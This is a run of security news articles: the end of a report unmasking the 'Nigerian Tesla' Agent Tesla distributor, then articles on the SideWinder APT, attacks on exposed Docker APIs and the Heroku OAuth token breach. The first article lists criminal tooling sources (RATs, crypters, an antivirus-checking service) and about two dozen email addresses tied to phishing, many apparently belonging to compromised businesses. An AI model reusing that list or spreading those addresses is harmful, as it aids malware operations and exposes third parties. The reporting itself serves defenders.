*   Glassdoor signupanywhere (could be a source to get victims emails)
*   omail.io (service for extracting emails)
*   warzone.ws (Warzone RAT)
*   worldwiredlabs (NetWire RAT)
*   le-vpn.com and bettervpn.com zenmate.com tigervpn hotvpn (VPN provider)
*   securitycode.eu cassandra.pw (Code Protector)
*   esco.pw (office document protection)
*   monovm hostwinds.com firevps dynu 4server.su (VPS and dedicated servers)
*   dnsomatic.com cloudns.net (DNS services)
*   spam-lab.su
*   filesend.io 4shared (hosting files)
*   avcheck.net (offline av test)
*   bitshacking.com
*   archive.org (used like cloud storage)
*   xss.is hackforums.net exploit.in
*   titan.email (.pw accounts, various scams)

Rita Bent, Lee Chen and John Cooper are some of the names that have been used in the past along with dozens of different email accounts with passwords containing the string ‘1985’. The following image shows the activity from user rita398 in hackforums asking about Esco Crypter:

Figure 5: Rita398 interested in Esco Crypter

In that case, we see Rita complaining about some RDP suspension that happened eventually to one of his registered domains.

Figure 6: RDP shutdown complain

The following email accounts were used in various phishing and data stealing operations:

*   along.aalahajirazak.ibrahim@gmail.com
*   administracion@romexpert.es
*   administracioneforce@eforce.es
*   soceanwave244@gmail.com
*   barristeradamssetien@gmail.com
*   catalinafuster@palmaprocura.com
*   david01smith@yandex.com
*   davidsmith.ntx31@yandex.com
*   davids27smith@yandex.com
*   elisabet.valenti@ag.barymont.com
*   gestor3@afectadosvolkswagenabogados.com
*   info@borrellacerrajeros.com
*   info@crmarismas.org
*   info@cristaleriagandia.com
*   infogestinsur@grupogestinsur.com
*   instalaciones@gopamar.com
*   isabel@grupoatu.com
*   m.lopez@forestadent.es
*   nacho@alasvigilnevot.com
*   restaurante@elsecretodechimiche.com
*   soceanwave244@gmail.com
*   tienda@di-tempo.com
*   torremolinos3@copiplus.es
*   v.reino@gooddental.es
*   victor@sugesol.com
*   vives@viveselectricitat.com

Based on these profiles, we can see this threat actor has an extensive criminal record starting at least from 2014. Back then, they performed classic scams under the Rita Bent moniker.

Figure 7: Scam conducted by the same attacker in the past

One of their preferred scams was phishing for Adobe login pages. We have records indicating that several Adobe fake pages were deployed from 2015 until recently. Landing pages looked like the following:

Figure 8: Fake Adobe login page

Fast forward to 2020, and the threat actor has graduated to malware distributor. He protects his binaries with the Cassandra Protector obfuscator and then checks them against AVcheck\[.\]net.

Figure 9: Cassandra Protector

Figure 10: AVcheck\[.\]net

**Who is behind these attacks?**

The threat actor shared photos of himself back in 2016 and for some reason forgot about them.

Figure 11: Photos of the threat actor

E.K. was born in 1985 according to his driver license. Remember that 1985 was used in a lot of passwords collected from accounts that conducted these illegal activities.

Figure 12: Threat actor’s drivers license

At the moment, we do not have much information about other members in the team. But E. K. seems to be the most relevant figure, at least the one who started the scheme.

**From 419 scams to Agent Tesla**

Nigerian Tesla stole more than 800,000 different credentials from about 28,000 victims. This shows how simple and yet effective running one of these campaigns can be. In this case we see an interesting evolution from a threat actor that was performing the classic advance-fee scam (419 scam) before moving into the malware distribution world, more or less for the same end goal.

Malwarebytes users are protected against Agent Tesla. We detect this sample as Spyware.Password.Stealer.

Nigerian Tesla: 419 scammer gone malware distributor unmasked

Researcher to reveal fresh details at Black Hat Asia on a tenacious cyber-espionage group attacking specific military, law enforcement, aviation, and other entities in Central and South Asia.

It's one of the more prolific yet lesser-known nation-state hacking groups in the world, and it's not out of China or Russia. The so-called SideWinder (aka Rattlesnake or T-APT4) group has been on a tear over the past two years, launching more than 1,000 targeted attacks.

Noushin Shabab, senior security researcher with Kaspersky, has been tracking SideWinder since 2017 and will share her latest findings on this cyber-espionage team at Black Hat Europe in Singapore this month.

"They have been very persistent in their attacks in terms of targeting specific victims over and over, with new malware and newly registered domains," Shabab says. "So even if the target has suspected that a previous attempt had malicious intentions — like with spear-phishing emails and so on — the threat actor has tried to use a new infection vector and use a new domain to try their luck, over and over."

SideWinder also has upped its game when it comes to hiding its tracks and deflecting detection — as well as in thwarting researchers. The threat group now executes a more complex attack chain that uses multiple layers of malware, additional obfuscation, and memory-resident malware that leaves no evidence of its presence, she says. Although other well-oiled and advanced threat groups also continue to add new methods of camouflaging their activity, Noushin says, SideWinder stands apart for her with its dogged persistence and high volume of activity.

"I think what truly makes them stand out among other APT \[advanced persistent threat\] actors is the large toolset they have with many different malware families, lots of new spear-phishing documents, and a very large infrastructure," she says. "I haven't seen 1,000 attacks from a single APT" from another group thus far, she adds. 

Shabab has tracked SideWinder's activity since April 2020, but Kaspersky first reported on SideWinder in January 2018 and believes it's been around since at least 2012. The security firm traditionally avoids attributing threat actors to specific nation-states, but Shabab says her firm's initial research into SideWinder showed the group is tied to an India-based company that was advertising malware analysis and penetration testing services on its website. 

"We found some context between that company and that threat actor," she says. However, she notes that "over the years, \[SideWinder\] attribution became more challenging."

SideWinder mostly targets military and law enforcement entities in Central and South Asia, but it's also hit foreign affairs, defense, aviation, IT, and legal firms in Asia. Pakistan and Sri Lanka are its main focus of late, according to Kaspersky's research, and it's recently targeted government and related organizations in Afghanistan, China, and Nepal, according to previous research from Trend Micro and from Anomaly.

Kaspersky also follows another cyber-spying threat group, dubbed Sidecopy, that copies SideWinder's tactics and techniques on occasion, often pivoting to the newest infection vector SideWinder has adopted. Unlike some other security research teams, Kaspersky considers Sidecopy separate from SideWinder. It's seen Sidecopy target organizations mainly in India and Afghanistan.

**No Zero-Days Required  
**SideWinder's main initial attack vector consists of sending convincing-looking spear-phishing emails with malware-rigged document attachments to its carefully curated targets. The hacking group doesn't deploy any zero-day exploits, but instead mostly weaponizes known Windows or Android vulnerabilities, including old Microsoft Office flaws, according to Shabab.

That said, in January 2020, researchers at Trend Micro revealed that they had discovered SideWinder exploiting a zero-day local privilege-escalation vulnerability that affected hundreds of millions of Android phones when it was first published (CVE-2019-2215).

SideWinder often switches gears if its first attempts don't infect its victims. Shabab has seen the APT abuse the Windows file shortcut feature to mask the malware, for example.

"The interesting thing is we have seen them be quite careful and innovative in the way they approach victims," she says. 

On at least two occasions, she says, SideWinder sent empty document attachments with the spear-phishing emails. The document had no content, but a malicious payload was inside. "After a short while, they send a letter \[in an email\] that apologizes for the empty document they had sent earlier. But that second email had a different malicious payload inside the document," she says. "They were trying everything to make sure they get a foothold into the victim's system."

SideWinder also swaps domains regularly for its command-and-control servers as well as for its download servers. That's mostly to ensure that if a domain gets detected, it still has a way to get to its targets, Shabab explains. Spreading activity across different domains in the attacks is less likely to raise suspicion as well.

Kaspersky's research shows that SideWinder mainly targets Windows for now, but it did find some malicious mobile apps last year when the firm investigated the group's infrastructure domains and servers. 

"But looking at their large attack infrastructure and large malware family sets they have for Windows, it doesn't seem mobile is their main focus," Shabab says.  

**Black Hat Talk  
**Shabab will share technical details in her session at Black Hat Asia next week, entitled "SideWinder Uncoils to Strike." Those will include how the hacking team has evolved its obfuscation methods for hiding its malware, and folding it into multistage infection chains. She says that investigating SideWinder's attack methods required her to decrypt several layers of encryption and thousands of obfuscation scripts. And "for each one, the decryption key was different," she says.

Shabab plans to provide recommendations on how to use SideWinder indicators of compromise along with specific security defense advice on defending against this APT group. Because it mostly achieves initial infections via known vulns and legitimate features in Windows (such as Microsoft Office), patching and the usual best security practices are key. That means hardening applications with whitelisting or firewall rules, which can help halt additional malicious malware modules from SideWinder's servers, she says.

"It's not very difficult to stop the attack" initially, she says. But if SideWinder gets past that first hurdle and infects the machine in the first phase of the attack, eradicating the attack gets exponentially harder. She adds: "They have lots of techniques to stay undetected longer and stay persistent."

1,000+ Attacks in 2 Years: How the SideWinder APT Sheds Its Skin

Cloud containers are increasingly part of the cybercrime playbook, with researchers flagging ongoing scanning for Docker weaknesses along with rapid exploitation to infect systems with coin-miners, denial-of-service tools, and ransomware.

Cybercriminals are ramping up their attacks on the Docker Engine — the software foundation of the container infrastructure used by many cloud-native companies. Researchers flagged a pair of cyber campaigns this week that showcase the increasing risk, including a compromise aimed at launching denial-of-service (DoS)) attacks on Russian targets.

On May 5, researchers at cloud-management platform Uptycs said that attackers compromised the firm's honeypot, a Docker server configured to allow connections through the remote Docker API. The attacks resulted in the cybercriminals installing cryptomining software and creating a reverse shell, which would have allowed them to explore the server in real time.

The company has detected 10 to 20 attempts to compromise the honeypot server every day, suggesting that attackers have increased their interest in Docker-based infrastructure, says Amit Malik, director of threat research at Uptycs.

"We configured one of our machines as a honeypot, and within three hours, we saw it compromised, so we had to shut it down and rebuild it," Malik says. "The infection point is very rapid."

The attacks on Uptycs' Docker-based infrastructure are not unique. The incidents are happening to other companies as well.

**Unwitting Hosts to Hostile DoS Activity Against Russia  
**Honeypots maintained by cybersecurity services firm CrowdStrike experienced similar attacks through the Docker remote API, generally assigned to port 2375 or 2376, according to an analysis of an attack posted on May 4. 

CrowdStrike researchers revealed that attackers compromised its honeypots through the open Docker API and then installed two malicious container images that were used to to attack Russian and Belarusian sites.

The target lists include the websites of the Russian and Belarusian governments, military, media, and retail sectors, as well as Russian mining, manufacturing, chemical, and technology sectors, according to CrowdStrike.

Both DoS-enabling containers are hosted on Docker Hub. One of the images has been downloaded more than 100,000 times; the second has been downloaded 50,000. CrowdStrike researchers noted that the portion of these downloads that originated from compromised machines is unknown.

The use of compromised infrastructure has far-reaching consequences for organizations that may unwittingly be participating in hostile activity against Russian government, military, and civilian targets, the firm warned. Any investigation into the attack by Russian intelligence will likely point back to the victim's server, says Adam Meyers, vice president of intelligence at CrowdStrike.

"It is a little different when they are using your infrastructure to attack a third party," he says. "If \[Russia or Belarus\] starts looking at these attacks, they might say, 'Oh, they are DoSing us, so we will DoS them.'"  

**Security Needs to Focus on Docker Threats**  
While Docker is well known in the development and DevOps communities, security professionals may not be as aware of the potential for insecure configurations or vulnerabilities to undermine enterprise security, Meyers says. 

The attack surface is concerning: In December, security startup Prevasio found that 51% of the 4 million images they scanned on Docker Hub included packages that had a critical security vulnerability. On the misconfiguration front, while exposing the remote Docker API is not a common configuration — currently Shodan counts 803 assets exposing port 2375 — the relatively frequent scanning of the port means that any misconfiguration would be exploited quickly.

"It is a relatively new technology, and with any new technology there is a security curve that goes with that," Meyers says. "There is a general lack of awareness around the threat, and that is the thing that we are trying to raise the flag with here. You need to take Docker security seriously."

**More Visibility Needed into Docker  
**To understand their level of risk, businesses should ensure that they can adequately monitor the attack surface area of assets such as Docker, Kubernetes servers, and DevOps-related infrastructure, says Siddharth Sharma, a researcher at Uptycs.

"Most of these attacks go unnoticed because people might not have a comprehensive security solution monitoring their Docker infrastructure," he says. "So the attacker will not be detected as often, unless something goes wrong. But often the types of \[payloads\] they install are not obvious."

Last year, Docker changed the licensing terms of Docker Desktop, moving to a subscription model and arguing that the shift will help the company support more security features and audits. The move came two years after the company split, dividing into Docker — focused on development with Docker Hub and Docker Desktop — and the enterprise infrastructure components of Docker Enterprise, which was sold to Mirantis.

Docker Under Siege: Cybercriminals Compromise Honeypots to Ramp Up Attacks

Hack investigation blames compromised token for breach

John Leyden 05 May 2022 at 14:10 UTC

Hack investigation blames compromised token for breach

A recently disclosed cyber-attack against Heroku that involved GitHub may be far more severe than first suspected.

Heroku, the Salesforce-owned cloud application platform, began the forced reset of user passwords on May 4.

In the early hours of Thursday (May 5), Heroku published an update implying that the as-yet unidentified attackers accessed data from its core database as a result of the attack.

The incident, previously disclosed on April 15, led to the exposure of GitHub integration OAuth tokens. This was the topic of a separate update by GitHub last week.

**RELATED** GitHub offers post-mortem on recent security breach

  

These credentials were exposed as a result of a successful attack against Heroku, as the cloud firm’s latest update explains:

On April 7, 2022, a threat actor gained access to a Heroku database and downloaded stored customer GitHub integration OAuth tokens. Access to the environment was achieved by leveraging a compromised token for a Heroku machine account.

**Compromised tokens**

Evidence suggests the attacker was able to use metadata to link customer repositories with OAuth tokens before the attacker “downloaded a subset of the Heroku private GitHub repositories from GitHub, containing some Heroku source code”.

This element of the attack, which took place on April 9, was detected by GitHub on April 12 and notified to Heroku a day later.

Read more of the latest hacking news

In response, Heroku launched an investigation that quickly resulted in the “revocation of all GitHub integration OAuth tokens, preventing customers from deploying apps from GitHub through the Heroku dashboard or via automation”.

In the latest development, Heroku’s ongoing investigation has revealed that the compromised token for a Heroku machine account enabled attackers to “gain access to a database and exfiltrate the hashed and salted passwords for customers’ user accounts”.

**Password reset**

This discovery precipitated the reset of a subset of Heroku customer passwords this week.

“Salesforce is ensuring all Heroku user passwords are reset and potentially affected credentials are refreshed,” Heroku’s update concluded.

“We have rotated internal Heroku credentials and put additional detections in place. We are continuing to investigate the source of the token compromise.”

_The Daily Swig_ asked Heroku to confirm the root cause of the breach and to outline how many accounts were potentially affected. We’ll update this story as and when more information comes to hand.

**DON’T FORGET TO READ** India to introduce six-hour data breach notification rule

Tag

#mac